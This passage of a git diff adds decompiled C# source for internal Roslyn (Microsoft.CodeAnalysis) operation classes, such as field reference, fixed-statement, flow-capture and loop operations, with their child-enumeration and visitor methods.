hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitExpressionStatement(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitExpressionStatement(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FieldInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FieldInitializerOperation.cs new file mode 100644 index 0000000..60b7ee6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FieldInitializerOperation.cs @@ -0,0 +1,74 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class FieldInitializerOperation : BaseSymbolInitializerOperation, IFieldInitializerOperation, ISymbolInitializerOperation, IOperation +{ + public ImmutableArray InitializedFields { get; } + + internal override int ChildOperationsCount => (base.Value != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.FieldInitializer; + + internal FieldInitializerOperation(ImmutableArray initializedFields, ImmutableArray locals, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(locals, value, semanticModel, syntax, isImplicit) + { + InitializedFields = initializedFields; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && base.Value != null) + { + return base.Value; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (base.Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitFieldInitializer(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitFieldInitializer(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FieldReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FieldReferenceOperation.cs new file mode 100644 index 0000000..5d6fb63 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FieldReferenceOperation.cs @@ -0,0 +1,82 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class FieldReferenceOperation : BaseMemberReferenceOperation, IFieldReferenceOperation, IMemberReferenceOperation, IOperation +{ + public IFieldSymbol Field { get; } + + public bool IsDeclaration { get; } + + internal override int ChildOperationsCount => (base.Instance != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.FieldReference; + + public override ISymbol Member => Field; + + public override ITypeSymbol? ConstrainedToType => null; + + internal FieldReferenceOperation(IFieldSymbol field, bool isDeclaration, IOperation? instance, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(instance, semanticModel, syntax, isImplicit) + { + Field = field; + IsDeclaration = isDeclaration; + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && base.Instance != null) + { + return base.Instance; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (base.Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitFieldReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitFieldReference(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FixedOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FixedOperation.cs new file mode 100644 index 0000000..479def9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FixedOperation.cs @@ -0,0 +1,106 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class FixedOperation : Operation, IFixedOperation, IOperation +{ + public ImmutableArray Locals { get; } + + public IVariableDeclarationGroupOperation Variables { get; } + + public IOperation Body { get; } + + internal override int ChildOperationsCount => ((Variables != null) ? 1 : 0) + ((Body != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.None; + + internal FixedOperation(ImmutableArray locals, IVariableDeclarationGroupOperation variables, IOperation body, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Locals = locals; + Variables = Operation.SetParentOperation(variables, this); + Body = Operation.SetParentOperation(body, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Variables != null) + { + return Variables; + } + break; + case 1: + if (Body != null) + { + return Body; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Variables != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Body != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Body != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Variables != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitFixed(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitFixed(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FlowAnonymousFunctionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FlowAnonymousFunctionOperation.cs new file mode 100644 index 0000000..fdeefe1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FlowAnonymousFunctionOperation.cs @@ -0,0 +1,53 @@ +using Microsoft.CodeAnalysis.FlowAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class FlowAnonymousFunctionOperation : Operation, IFlowAnonymousFunctionOperation, IOperation +{ + public readonly ControlFlowGraphBuilder.Context Context; + + public readonly IAnonymousFunctionOperation Original; + + public IMethodSymbol Symbol => Original.Symbol; + + internal override int ChildOperationsCount => 0; + + public override OperationKind Kind => OperationKind.FlowAnonymousFunction; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public FlowAnonymousFunctionOperation(in ControlFlowGraphBuilder.Context context, IAnonymousFunctionOperation original, bool isImplicit) + : base(null, original.Syntax, isImplicit) + { + Context = context; + Original = original; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitFlowAnonymousFunction(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitFlowAnonymousFunction(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FlowCaptureOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FlowCaptureOperation.cs new file mode 100644 index 0000000..4fec8f2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FlowCaptureOperation.cs @@ -0,0 +1,82 @@ +using Microsoft.CodeAnalysis.FlowAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class FlowCaptureOperation : Operation, IFlowCaptureOperation, IOperation +{ + public CaptureId Id { get; } + + public IOperation Value { get; } + + internal override int ChildOperationsCount => (Value != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.FlowCapture; + + internal FlowCaptureOperation(CaptureId id, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Id = id; + Value = Operation.SetParentOperation(value, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Value != null) + { + return Value; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitFlowCapture(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitFlowCapture(this, argument); + } + + public FlowCaptureOperation(int id, SyntaxNode syntax, IOperation value) + : this(new CaptureId(id), value, null, syntax, isImplicit: true) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FlowCaptureReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FlowCaptureReferenceOperation.cs new file mode 100644 index 0000000..89ab8ff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FlowCaptureReferenceOperation.cs @@ -0,0 +1,58 @@ +using Microsoft.CodeAnalysis.FlowAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class FlowCaptureReferenceOperation : Operation, IFlowCaptureReferenceOperation, IOperation +{ + public CaptureId Id { get; } + + public bool IsInitialization { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.FlowCaptureReference; + + internal FlowCaptureReferenceOperation(CaptureId id, bool isInitialization, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Id = id; + IsInitialization = isInitialization; + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitFlowCaptureReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitFlowCaptureReference(this, argument); + } + + public FlowCaptureReferenceOperation(int id, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isInitialization = false) + : this(new CaptureId(id), isInitialization, null, syntax, type, constantValue, isImplicit: true) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForEachLoopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForEachLoopOperation.cs new file mode 100644 index 0000000..079844b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForEachLoopOperation.cs @@ -0,0 +1,164 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ForEachLoopOperation : BaseLoopOperation, IForEachLoopOperation, ILoopOperation, IOperation +{ + public IOperation LoopControlVariable { get; } + + public IOperation Collection { get; } + + public ImmutableArray NextVariables { get; } + + public ForEachLoopOperationInfo? Info { get; } + + public bool IsAsynchronous { get; } + + internal override int ChildOperationsCount => ((LoopControlVariable != null) ? 1 : 0) + ((Collection != null) ? 1 : 0) + NextVariables.Length + ((base.Body != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Loop; + + public override LoopKind LoopKind => LoopKind.ForEach; + + internal ForEachLoopOperation(IOperation loopControlVariable, IOperation collection, ImmutableArray nextVariables, ForEachLoopOperationInfo? info, bool isAsynchronous, IOperation body, ImmutableArray locals, ILabelSymbol continueLabel, ILabelSymbol exitLabel, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(body, locals, continueLabel, exitLabel, semanticModel, syntax, isImplicit) + { + LoopControlVariable = Operation.SetParentOperation(loopControlVariable, this); + Collection = Operation.SetParentOperation(collection, this); + NextVariables = Operation.SetParentOperation(nextVariables, this); + Info = info; + IsAsynchronous = isAsynchronous; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Collection != null) + { + return Collection; + } + break; + case 1: + if (LoopControlVariable != null) + { + return LoopControlVariable; + } + break; + case 2: + if (base.Body != null) + { + return base.Body; + } + break; + case 3: + if (index < NextVariables.Length) + { + return NextVariables[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Collection != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (LoopControlVariable != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (base.Body != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (!NextVariables.IsEmpty) + { + return (hasNext: true, nextSlot: 3, nextIndex: 0); + } + goto case 4; + case 3: + if (previousIndex + 1 < NextVariables.Length) + { + return (hasNext: true, nextSlot: 3, nextIndex: previousIndex + 1); + } + goto case 4; + case 4: + return (hasNext: false, nextSlot: 4, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (!NextVariables.IsEmpty) + { + return (hasNext: true, nextSlot: 3, nextIndex: NextVariables.Length - 1); + } + goto IL_005d; + case 3: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 3, nextIndex: previousIndex - 1); + } + goto IL_005d; + case 2: + if (LoopControlVariable != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (Collection != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case -1; + case -1: + case 0: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_005d: + if (base.Body != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitForEachLoop(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitForEachLoop(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForEachLoopOperationInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForEachLoopOperationInfo.cs new file mode 100644 index 0000000..9adfd31 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForEachLoopOperationInfo.cs @@ -0,0 +1,58 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +internal class ForEachLoopOperationInfo +{ + public readonly ITypeSymbol ElementType; + + public readonly IMethodSymbol GetEnumeratorMethod; + + public readonly IPropertySymbol CurrentProperty; + + public readonly IMethodSymbol MoveNextMethod; + + public readonly bool IsAsynchronous; + + public readonly IConvertibleConversion? InlineArrayConversion; + + public readonly bool CollectionIsInlineArrayValue; + + public readonly bool NeedsDispose; + + public readonly bool KnownToImplementIDisposable; + + public readonly IMethodSymbol? PatternDisposeMethod; + + public readonly IConvertibleConversion CurrentConversion; + + public readonly IConvertibleConversion ElementConversion; + + public readonly ImmutableArray GetEnumeratorArguments; + + public readonly ImmutableArray MoveNextArguments; + + public readonly ImmutableArray CurrentArguments; + + public readonly ImmutableArray DisposeArguments; + + public ForEachLoopOperationInfo(ITypeSymbol elementType, IMethodSymbol getEnumeratorMethod, IPropertySymbol currentProperty, IMethodSymbol moveNextMethod, bool isAsynchronous, IConvertibleConversion? inlineArrayConversion, bool collectionIsInlineArrayValue, bool needsDispose, bool knownToImplementIDisposable, IMethodSymbol? patternDisposeMethod, IConvertibleConversion currentConversion, IConvertibleConversion elementConversion, ImmutableArray getEnumeratorArguments = default(ImmutableArray), ImmutableArray moveNextArguments = default(ImmutableArray), ImmutableArray currentArguments = default(ImmutableArray), ImmutableArray disposeArguments = default(ImmutableArray)) + { + ElementType = elementType; + GetEnumeratorMethod = getEnumeratorMethod; + CurrentProperty = currentProperty; + MoveNextMethod = moveNextMethod; + IsAsynchronous = isAsynchronous; + InlineArrayConversion = inlineArrayConversion; + CollectionIsInlineArrayValue = collectionIsInlineArrayValue; + KnownToImplementIDisposable = knownToImplementIDisposable; + NeedsDispose = needsDispose; + PatternDisposeMethod = patternDisposeMethod; + CurrentConversion = currentConversion; + ElementConversion = elementConversion; + GetEnumeratorArguments = getEnumeratorArguments; + MoveNextArguments = moveNextArguments; + CurrentArguments = currentArguments; + DisposeArguments = disposeArguments; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForLoopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForLoopOperation.cs new file mode 100644 index 0000000..67e13eb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForLoopOperation.cs @@ -0,0 +1,174 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ForLoopOperation : BaseLoopOperation, IForLoopOperation, ILoopOperation, IOperation +{ + public ImmutableArray Before { get; } + + public ImmutableArray ConditionLocals { get; } + + public IOperation? Condition { get; } + + public ImmutableArray AtLoopBottom { get; } + + internal override int ChildOperationsCount => Before.Length + ((Condition != null) ? 1 : 0) + AtLoopBottom.Length + ((base.Body != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Loop; + + public override LoopKind LoopKind => LoopKind.For; + + internal ForLoopOperation(ImmutableArray before, ImmutableArray conditionLocals, IOperation? condition, ImmutableArray atLoopBottom, IOperation body, ImmutableArray locals, ILabelSymbol continueLabel, ILabelSymbol exitLabel, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(body, locals, continueLabel, exitLabel, semanticModel, syntax, isImplicit) + { + Before = Operation.SetParentOperation(before, this); + ConditionLocals = conditionLocals; + Condition = Operation.SetParentOperation(condition, this); + AtLoopBottom = Operation.SetParentOperation(atLoopBottom, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (index < Before.Length) + { + return Before[index]; + } + break; + case 1: + if (Condition != null) + { + return Condition; + } + break; + case 2: + if (base.Body != null) + { + return base.Body; + } + break; + case 3: + if (index < AtLoopBottom.Length) + { + return AtLoopBottom[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Before.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto IL_005e; + case 0: + if (previousIndex + 1 < Before.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto IL_005e; + case 1: + if (base.Body != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (!AtLoopBottom.IsEmpty) + { + return (hasNext: true, nextSlot: 3, nextIndex: 0); + } + goto case 4; + case 3: + if (previousIndex + 1 < AtLoopBottom.Length) + { + return (hasNext: true, nextSlot: 3, nextIndex: previousIndex + 1); + } + goto case 4; + case 4: + return (hasNext: false, nextSlot: 4, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_005e: + if (Condition != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (!AtLoopBottom.IsEmpty) + { + return (hasNext: true, nextSlot: 3, nextIndex: AtLoopBottom.Length - 1); + } + goto IL_0060; + case 3: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 3, nextIndex: previousIndex - 1); + } + goto IL_0060; + case 2: + if (Condition != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (!Before.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Before.Length - 1); + } + goto case -1; + case 0: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + goto case -1; + case -1: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0060: + if (base.Body != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitForLoop(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitForLoop(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForToLoopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForToLoopOperation.cs new file mode 100644 index 0000000..2a5e771 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForToLoopOperation.cs @@ -0,0 +1,206 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ForToLoopOperation : BaseLoopOperation, IForToLoopOperation, ILoopOperation, IOperation +{ + public IOperation LoopControlVariable { get; } + + public IOperation InitialValue { get; } + + public IOperation LimitValue { get; } + + public IOperation StepValue { get; } + + public bool IsChecked { get; } + + public ImmutableArray NextVariables { get; } + + public (ILocalSymbol LoopObject, ForToLoopOperationUserDefinedInfo UserDefinedInfo) Info { get; } + + internal override int ChildOperationsCount => ((LoopControlVariable != null) ? 1 : 0) + ((InitialValue != null) ? 1 : 0) + ((LimitValue != null) ? 1 : 0) + ((StepValue != null) ? 1 : 0) + NextVariables.Length + ((base.Body != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Loop; + + public override LoopKind LoopKind => LoopKind.ForTo; + + internal ForToLoopOperation(IOperation loopControlVariable, IOperation initialValue, IOperation limitValue, IOperation stepValue, bool isChecked, ImmutableArray nextVariables, (ILocalSymbol LoopObject, ForToLoopOperationUserDefinedInfo UserDefinedInfo) info, IOperation body, ImmutableArray locals, ILabelSymbol continueLabel, ILabelSymbol exitLabel, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(body, locals, continueLabel, exitLabel, semanticModel, syntax, isImplicit) + { + LoopControlVariable = Operation.SetParentOperation(loopControlVariable, this); + InitialValue = Operation.SetParentOperation(initialValue, this); + LimitValue = Operation.SetParentOperation(limitValue, this); + StepValue = Operation.SetParentOperation(stepValue, this); + IsChecked = isChecked; + NextVariables = Operation.SetParentOperation(nextVariables, this); + Info = info; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (LoopControlVariable != null) + { + return LoopControlVariable; + } + break; + case 1: + if (InitialValue != null) + { + return InitialValue; + } + break; + case 2: + if (LimitValue != null) + { + return LimitValue; + } + break; + case 3: + if (StepValue != null) + { + return StepValue; + } + break; + case 4: + if (base.Body != null) + { + return base.Body; + } + break; + case 5: + if (index < NextVariables.Length) + { + return NextVariables[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (LoopControlVariable != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (InitialValue != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (LimitValue != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (StepValue != null) + { + return (hasNext: true, nextSlot: 3, nextIndex: 0); + } + goto case 3; + case 3: + if (base.Body != null) + { + return (hasNext: true, nextSlot: 4, nextIndex: 0); + } + goto case 4; + case 4: + if (!NextVariables.IsEmpty) + { + return (hasNext: true, nextSlot: 5, nextIndex: 0); + } + goto case 6; + case 5: + if (previousIndex + 1 < NextVariables.Length) + { + return (hasNext: true, nextSlot: 5, nextIndex: previousIndex + 1); + } + goto case 6; + case 6: + return (hasNext: false, nextSlot: 6, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (!NextVariables.IsEmpty) + { + return (hasNext: true, nextSlot: 5, nextIndex: NextVariables.Length - 1); + } + goto IL_0068; + case 5: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 5, nextIndex: previousIndex - 1); + } + goto IL_0068; + case 4: + if (StepValue != null) + { + return (hasNext: true, nextSlot: 3, nextIndex: 0); + } + goto case 3; + case 3: + if (LimitValue != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (InitialValue != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (LoopControlVariable != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case -1; + case -1: + case 0: + return (hasNext: false, 